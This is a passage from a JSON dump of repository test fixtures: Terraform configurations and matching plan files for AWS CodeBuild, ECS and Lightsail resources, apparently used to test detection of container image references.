    "content": "resource \"aws_codebuild_project\" \"alias\" {\n  name           = \"test-project-cache\"\n  description    = \"test_codebuild_project_cache\"\n  build_timeout  = \"5\"\n  queued_timeout = \"5\"\n\n  service_role = aws_iam_role.example.arn\n\n  artifacts {\n    type = \"NO_ARTIFACTS\"\n  }\n\n  environment {\n    compute_type                = \"BUILD_GENERAL1_SMALL\"\n    image                       = \"aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n    type                        = \"LINUX_CONTAINER\"\n    image_pull_credentials_type = \"CODEBUILD\"\n\n    environment_variable {\n      name  = \"SOME_KEY1\"\n      value = \"SOME_VALUE1\"\n    }\n  }\n\n  source {\n    type            = \"GITHUB\"\n    location        = \"https://github.com/mitchellh/packer.git\"\n    git_clone_depth = 1\n  }\n\n  tags = {\n    Environment = \"Test\"\n  }\n}\n\nresource \"aws_codebuild_project\" \"image\" {\n  name           = \"test-project-cache\"\n  description    = \"test_codebuild_project_cache\"\n  build_timeout  = \"5\"\n  queued_timeout = \"5\"\n\n  service_role = aws_iam_role.example.arn\n\n  artifacts {\n    type = \"NO_ARTIFACTS\"\n  }\n\n  environment {\n    compute_type                = \"BUILD_GENERAL1_SMALL\"\n    image                       = \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n    type                        = \"LINUX_CONTAINER\"\n    image_pull_credentials_type = \"CODEBUILD\"\n\n    environment_variable {\n      name  = \"SOME_KEY1\"\n      value = \"SOME_VALUE1\"\n    }\n  }\n\n  source {\n    type            = \"GITHUB\"\n    location        = \"https://github.com/mitchellh/packer.git\"\n    git_clone_depth = 1\n  }\n\n  tags = {\n    Environment = \"Test\"\n  }\n}\n\nresource \"aws_iam_role\" \"example\" {\n  name = \"example\"\n\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\"\n\n    Statement = [{\n      Effect = \"Allow\"\n      Action = \"sts:AssumeRole\"\n\n      Principal = {\n        Service = \"codebuild.amazonaws.com\"\n      }\n    }]\n  })\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/codebuild_tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_codebuild_project.alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"alias\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"artifacts\": [\n              {\n                \"artifact_identifier\": null,\n                \"bucket_owner_access\": null,\n                \"encryption_disabled\": false,\n                \"location\": null,\n                \"name\": null,\n                \"namespace_type\": null,\n                \"override_artifact_name\": false,\n                \"packaging\": null,\n                \"path\": null,\n                \"type\": \"NO_ARTIFACTS\"\n              }\n            ],\n            \"badge_enabled\": false,\n            \"build_batch_config\": [],\n            \"build_timeout\": 5,\n            \"cache\": [],\n            \"concurrent_build_limit\": null,\n            \"description\": \"test_codebuild_project_cache\",\n            \"environment\": [\n              {\n                \"certificate\": null,\n                \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n                \"environment_variable\": [\n                  {\n                    \"name\": \"SOME_KEY1\",\n                    \"type\": \"PLAINTEXT\",\n                    \"value\": \"SOME_VALUE1\"\n                  }\n                ],\n                \"image\": \"aws/codebuild/amazonlinux2-x86_64-standard:4.0\",\n                \"image_pull_credentials_type\": \"CODEBUILD\",\n                \"privileged_mode\": false,\n                \"registry_credential\": [],\n                \"type\": \"LINUX_CONTAINER\"\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"name\": \"test-project-cache\",\n            \"project_visibility\": \"PRIVATE\",\n            \"queued_timeout\": 5,\n            \"resource_access_role\": null,\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"buildspec\": null,\n                \"git_clone_depth\": 1,\n                \"git_submodules_config\": [],\n                \"insecure_ssl\": null,\n                \"location\": \"https://github.com/mitchellh/packer.git\",\n                \"report_build_status\": null,\n                \"type\": \"GITHUB\"\n              }\n            ],\n            \"source_version\": null,\n            \"tags\": {\n              \"Environment\": \"Test\"\n            },\n            \"tags_all\": {\n              \"Environment\": \"Test\"\n            },\n            \"vpc_config\": []\n          },\n          \"sensitive_values\": {\n            \"artifacts\": [\n              {}\n            ],\n            \"build_batch_config\": [],\n            \"cache\": [],\n            \"environment\": [\n              {\n                \"environment_variable\": [\n                  {}\n                ],\n                \"registry_credential\": []\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"git_submodules_config\": []\n              }\n            ],\n            \"tags\": {},\n            \"tags_all\": {},\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_codebuild_project.image\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"image\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"artifacts\": [\n              {\n                \"artifact_identifier\": null,\n                \"bucket_owner_access\": null,\n                \"encryption_disabled\": false,\n                \"location\": null,\n                \"name\": null,\n                \"namespace_type\": null,\n                \"override_artifact_name\": false,\n                \"packaging\": null,\n                \"path\": null,\n                \"type\": \"NO_ARTIFACTS\"\n              }\n            ],\n            \"badge_enabled\": false,\n            \"build_batch_config\": [],\n            \"build_timeout\": 5,\n            \"cache\": [],\n            \"concurrent_build_limit\": null,\n            \"description\": \"test_codebuild_project_cache\",\n            \"environment\": [\n              {\n                \"certificate\": null,\n                \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n                \"environment_variable\": [\n                  {\n                    \"name\": \"SOME_KEY1\",\n                    \"type\": \"PLAINTEXT\",\n                    \"value\": \"SOME_VALUE1\"\n                  }\n                ],\n                \"image\": \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\",\n                \"image_pull_credentials_type\": \"CODEBUILD\",\n                \"privileged_mode\": false,\n                \"registry_credential\": [],\n                \"type\": \"LINUX_CONTAINER\"\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"name\": \"test-project-cache\",\n            \"project_visibility\": \"PRIVATE\",\n            \"queued_timeout\": 5,\n            \"resource_access_role\": null,\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"buildspec\": null,\n                \"git_clone_depth\": 1,\n                \"git_submodules_config\": [],\n                \"insecure_ssl\": null,\n                \"location\": \"https://github.com/mitchellh/packer.git\",\n                \"report_build_status\": null,\n                \"type\": \"GITHUB\"\n              }\n            ],\n            \"source_version\": null,\n            \"tags\": {\n              \"Environment\": \"Test\"\n            },\n            \"tags_all\": {\n              \"Environment\": \"Test\"\n            },\n            \"vpc_config\": []\n          },\n          \"sensitive_values\": {\n            \"artifacts\": [\n              {}\n            ],\n            \"build_batch_config\": [],\n            \"cache\": [],\n            \"environment\": [\n              {\n                \"environment_variable\": [\n                  {}\n                ],\n                \"registry_credential\": []\n              }\n            ],\n            \"file_system_locations\": [],\n            \"logs_config\": [],\n            \"secondary_artifacts\": [],\n            \"secondary_source_version\": [],\n            \"secondary_sources\": [],\n            \"source\": [\n              {\n                \"auth\": [],\n                \"build_status_config\": [],\n                \"git_submodules_config\": []\n              }\n            ],\n            \"tags\": {},\n            \"tags_all\": {},\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"sts:AssumeRole\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"codebuild.amazonaws.com\\\"}}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"example\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"inline_policy\": [],\n            \"managed_policy_arns\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_codebuild_project.alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_codebuild_project\",\n      \"name\": \"alias\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"artifacts\": [\n            {\n              \"artifact_identifier\": null,\n              \"bucket_owner_access\": null,\n              \"encryption_disabled\": false,\n              \"location\": null,\n              \"name\": null,\n              \"namespace_type\": null,\n              \"override_artifact_name\": false,\n              \"packaging\": null,\n              \"path\": null,\n              \"type\": \"NO_ARTIFACTS\"\n            }\n          ],\n          \"badge_enabled\": false,\n          \"build_batch_config\": [],\n          \"build_timeout\": 5,\n          \"cache\": [],\n          \"concurrent_build_limit\": null,\n          \"description\": \"test_codebuild_project_cache\",\n          \"environment\": [\n            {\n              \"certificate\": null,\n              \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n              \"environment_variable\": [\n                {\n                  \"name\": \"SOME_KEY1\",\n                  \"type\": \"PLAINTEXT\",\n                  \"value\": \"SOME_VALUE1\"\n                }\n              ],\n              \"image\": \"aws/codebuild/amazonlinux2-x86_64-standard:4.0\",\n              \"image_pull_credentials_type\": \"CODEBUILD\",\n              \"privileged_mode\": false,\n              \"registry_credential\": [],\n              \"type\": \"LINUX_CONTAINER\"\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"name\": \"test-project-cache\",\n          \"project_visibility\": \"PRIVATE\",\n          \"queued_timeout\": 5,\n          \"resource_access_role\": null,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"buildspec\": null,\n              \"git_clone_depth\": 1,\n              \"git_submodules_config\": [],\n              \"insecure_ssl\": null,\n              \"location\": \"https://github.com/mitchellh/packer.git\",\n              \"report_build_status\": null,\n              \"type\": \"GITHUB\"\n            }\n          ],\n          \"source_version\": null,\n          \"tags\": {\n            \"Environment\": \"Test\"\n          },\n          \"tags_all\": {\n            \"Environment\": \"Test\"\n          },\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"artifacts\": [\n            {}\n          ],\n          \"badge_url\": true,\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"encryption_key\": true,\n          \"environment\": [\n            {\n              \"environment_variable\": [\n                {}\n              ],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"id\": true,\n          \"logs_config\": [],\n          \"public_project_alias\": true,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"service_role\": true,\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_config\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"artifacts\": [\n            {}\n          ],\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"environment\": [\n            {\n              \"environment_variable\": [\n                {}\n              ],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_codebuild_project.image\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_codebuild_project\",\n      \"name\": \"image\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"artifacts\": [\n            {\n              \"artifact_identifier\": null,\n              \"bucket_owner_access\": null,\n              \"encryption_disabled\": false,\n              \"location\": null,\n              \"name\": null,\n              \"namespace_type\": null,\n              \"override_artifact_name\": false,\n              \"packaging\": null,\n              \"path\": null,\n              \"type\": \"NO_ARTIFACTS\"\n            }\n          ],\n          \"badge_enabled\": false,\n          \"build_batch_config\": [],\n          \"build_timeout\": 5,\n          \"cache\": [],\n          \"concurrent_build_limit\": null,\n          \"description\": \"test_codebuild_project_cache\",\n          \"environment\": [\n            {\n              \"certificate\": null,\n              \"compute_type\": \"BUILD_GENERAL1_SMALL\",\n              \"environment_variable\": [\n                {\n                  \"name\": \"SOME_KEY1\",\n                  \"type\": \"PLAINTEXT\",\n                  \"value\": \"SOME_VALUE1\"\n                }\n              ],\n              \"image\": \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\",\n              \"image_pull_credentials_type\": \"CODEBUILD\",\n              \"privileged_mode\": false,\n              \"registry_credential\": [],\n              \"type\": \"LINUX_CONTAINER\"\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"name\": \"test-project-cache\",\n          \"project_visibility\": \"PRIVATE\",\n          \"queued_timeout\": 5,\n          \"resource_access_role\": null,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"buildspec\": null,\n              \"git_clone_depth\": 1,\n              \"git_submodules_config\": [],\n              \"insecure_ssl\": null,\n              \"location\": \"https://github.com/mitchellh/packer.git\",\n              \"report_build_status\": null,\n              \"type\": \"GITHUB\"\n            }\n          ],\n          \"source_version\": null,\n          \"tags\": {\n            \"Environment\": \"Test\"\n          },\n          \"tags_all\": {\n            \"Environment\": \"Test\"\n          },\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"artifacts\": [\n            {}\n          ],\n          \"badge_url\": true,\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"encryption_key\": true,\n          \"environment\": [\n            {\n              \"environment_variable\": [\n                {}\n              ],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"id\": true,\n          \"logs_config\": [],\n          \"public_project_alias\": true,\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"service_role\": true,\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_config\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"artifacts\": [\n            {}\n          ],\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"environment\": [\n            {\n              \"environment_variable\": [\n                {}\n              ],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"sts:AssumeRole\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"codebuild.amazonaws.com\\\"}}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"example\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": true,\n          \"managed_policy_arns\": true,\n          \"name_prefix\": true,\n          \"tags_all\": true,\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_codebuild_project.alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"alias\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"artifacts\": [\n              {\n                \"type\": {\n                  \"constant_value\": \"NO_ARTIFACTS\"\n                }\n              }\n            ],\n            \"build_timeout\": {\n              \"constant_value\": \"5\"\n            },\n            \"description\": {\n              \"constant_value\": \"test_codebuild_project_cache\"\n            },\n            \"environment\": [\n              {\n                \"compute_type\": {\n                  \"constant_value\": \"BUILD_GENERAL1_SMALL\"\n                },\n                \"environment_variable\": [\n                  {\n                    \"name\": {\n                      \"constant_value\": \"SOME_KEY1\"\n                    },\n                    \"value\": {\n                      \"constant_value\": \"SOME_VALUE1\"\n                    }\n                  }\n                ],\n                \"image\": {\n                  \"constant_value\": \"aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n                },\n                \"image_pull_credentials_type\": {\n                  \"constant_value\": \"CODEBUILD\"\n                },\n                \"type\": {\n                  \"constant_value\": \"LINUX_CONTAINER\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"test-project-cache\"\n            },\n            \"queued_timeout\": {\n              \"constant_value\": \"5\"\n            },\n            \"service_role\": {\n              \"references\": [\n                \"aws_iam_role.example.arn\",\n                \"aws_iam_role.example\"\n              ]\n            },\n            \"source\": [\n              {\n                \"git_clone_depth\": {\n                  \"constant_value\": 1\n                },\n                \"location\": {\n                  \"constant_value\": \"https://github.com/mitchellh/packer.git\"\n                },\n                \"type\": {\n                  \"constant_value\": \"GITHUB\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"constant_value\": {\n                \"Environment\": \"Test\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_codebuild_project.image\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"image\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"artifacts\": [\n              {\n                \"type\": {\n                  \"constant_value\": \"NO_ARTIFACTS\"\n                }\n              }\n            ],\n            \"build_timeout\": {\n              \"constant_value\": \"5\"\n            },\n            \"description\": {\n              \"constant_value\": \"test_codebuild_project_cache\"\n            },\n            \"environment\": [\n              {\n                \"compute_type\": {\n                  \"constant_value\": \"BUILD_GENERAL1_SMALL\"\n                },\n                \"environment_variable\": [\n                  {\n                    \"name\": {\n                      \"constant_value\": \"SOME_KEY1\"\n                    },\n                    \"value\": {\n                      \"constant_value\": \"SOME_VALUE1\"\n                    }\n                  }\n                ],\n                \"image\": {\n                  \"constant_value\": \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n                },\n                \"image_pull_credentials_type\": {\n                  \"constant_value\": \"CODEBUILD\"\n                },\n                \"type\": {\n                  \"constant_value\": \"LINUX_CONTAINER\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"test-project-cache\"\n            },\n            \"queued_timeout\": {\n              \"constant_value\": \"5\"\n            },\n            \"service_role\": {\n              \"references\": [\n                \"aws_iam_role.example.arn\",\n                \"aws_iam_role.example\"\n              ]\n            },\n            \"source\": [\n              {\n                \"git_clone_depth\": {\n                  \"constant_value\": 1\n                },\n                \"location\": {\n                  \"constant_value\": \"https://github.com/mitchellh/packer.git\"\n                },\n                \"type\": {\n                  \"constant_value\": \"GITHUB\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"constant_value\": {\n                \"Environment\": \"Test\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {},\n            \"name\": {\n              \"constant_value\": \"example\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/ecs.tf",
    "content": "resource \"aws_ecs_task_definition\" \"service\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"nginx\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"python:3.9-alpine\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/ecs_tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.service\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"service\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"container_definitions\": \"[{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"nginx\\\",\\\"memory\\\":512,\\\"name\\\":\\\"first\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":80,\\\"hostPort\\\":80}]},{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"python:3.9-alpine\\\",\\\"memory\\\":256,\\\"name\\\":\\\"second\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":443,\\\"hostPort\\\":443}]}]\",\n            \"cpu\": null,\n            \"ephemeral_storage\": [],\n            \"execution_role_arn\": null,\n            \"family\": \"service\",\n            \"inference_accelerator\": [],\n            \"ipc_mode\": null,\n            \"memory\": null,\n            \"pid_mode\": null,\n            \"placement_constraints\": [],\n            \"proxy_configuration\": [],\n            \"requires_compatibilities\": null,\n            \"runtime_platform\": [],\n            \"skip_destroy\": false,\n            \"tags\": null,\n            \"task_role_arn\": null,\n            \"volume\": []\n          },\n          \"sensitive_values\": {\n            \"ephemeral_storage\": [],\n            \"inference_accelerator\": [],\n            \"placement_constraints\": [],\n            \"proxy_configuration\": [],\n            \"runtime_platform\": [],\n            \"tags_all\": {},\n            \"volume\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_ecs_task_definition.service\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecs_task_definition\",\n      \"name\": \"service\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container_definitions\": \"[{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"nginx\\\",\\\"memory\\\":512,\\\"name\\\":\\\"first\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":80,\\\"hostPort\\\":80}]},{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"python:3.9-alpine\\\",\\\"memory\\\":256,\\\"name\\\":\\\"second\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":443,\\\"hostPort\\\":443}]}]\",\n          \"cpu\": null,\n          \"ephemeral_storage\": [],\n          \"execution_role_arn\": null,\n          \"family\": \"service\",\n          \"inference_accelerator\": [],\n          \"ipc_mode\": null,\n          \"memory\": null,\n          \"pid_mode\": null,\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"requires_compatibilities\": null,\n          \"runtime_platform\": [],\n          \"skip_destroy\": false,\n          \"tags\": null,\n          \"task_role_arn\": null,\n          \"volume\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"ephemeral_storage\": [],\n          \"id\": true,\n          \"inference_accelerator\": [],\n          \"network_mode\": true,\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"revision\": true,\n          \"runtime_platform\": [],\n          \"tags_all\": true,\n          \"volume\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"ephemeral_storage\": [],\n          \"inference_accelerator\": [],\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"runtime_platform\": [],\n          \"tags_all\": {},\n          \"volume\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.service\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"service\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container_definitions\": {},\n            \"family\": {\n              \"constant_value\": \"service\"\n            }\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/lightsail.tf",
    "content": "resource \"aws_lightsail_container_service\" \"example\" {\n  name        = \"example\"\n  power       = \"nano\"\n  scale       = 1\n  is_disabled = false\n}\n\nresource \"aws_lightsail_container_service_deployment_version\" \"example\" {\n  container {\n    container_name = \"hello-world\"\n    image          = \"amazon/amazon-lightsail:hello-world\"\n\n    command = []\n\n    environment = {\n      MY_ENVIRONMENT_VARIABLE = \"my_value\"\n    }\n\n    ports = {\n      80 = \"HTTP\"\n    }\n  }\n\n  public_endpoint {\n    container_name = \"hello-world\"\n    container_port = 80\n\n    health_check {\n      healthy_threshold   = 2\n      unhealthy_threshold = 2\n      timeout_seconds     = 2\n      interval_seconds    = 5\n      path                = \"/\"\n      success_codes       = \"200-499\"\n    }\n  }\n\n  service_name = aws_lightsail_container_service.example.name\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/lightsail_tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_lightsail_container_service.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lightsail_container_service\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"is_disabled\": false,\n            \"name\": \"example\",\n            \"power\": \"nano\",\n            \"public_domain_names\": [],\n            \"scale\": 1,\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"private_registry_access\": [],\n            \"public_domain_names\": [],\n            \"tags_all\": {}\n          }\n        },\n        {\n          \"address\": \"aws_lightsail_container_service_deployment_version.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lightsail_container_service_deployment_version\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"container\": [\n              {\n                \"command\": [],\n                \"container_name\": \"hello-world\",\n                \"environment\": {\n                  \"MY_ENVIRONMENT_VARIABLE\": \"my_value\"\n                },\n                \"image\": \"amazon/amazon-lightsail:hello-world\",\n                \"ports\": {\n                  \"80\": \"HTTP\"\n                }\n              }\n            ],\n            \"public_endpoint\": [\n              {\n                \"container_name\": \"hello-world\",\n                \"container_port\": 80,\n                \"health_check\": [\n                  {\n                    \"healthy_threshold\": 2,\n                    \"interval_seconds\": 5,\n                    \"path\": \"/\",\n                    \"success_codes\": \"200-499\",\n                    \"timeout_seconds\": 2,\n                    \"unhealthy_threshold\": 2\n                  }\n                ]\n              }\n            ],\n            \"service_name\": \"example\",\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"container\": [\n              {\n                \"command\": [],\n                \"environment\": {},\n                \"ports\": {}\n              }\n            ],\n            \"public_endpoint\": [\n              {\n                \"health_check\": [\n                  {}\n                ]\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_lightsail_container_service.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lightsail_container_service\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"is_disabled\": false,\n          \"name\": 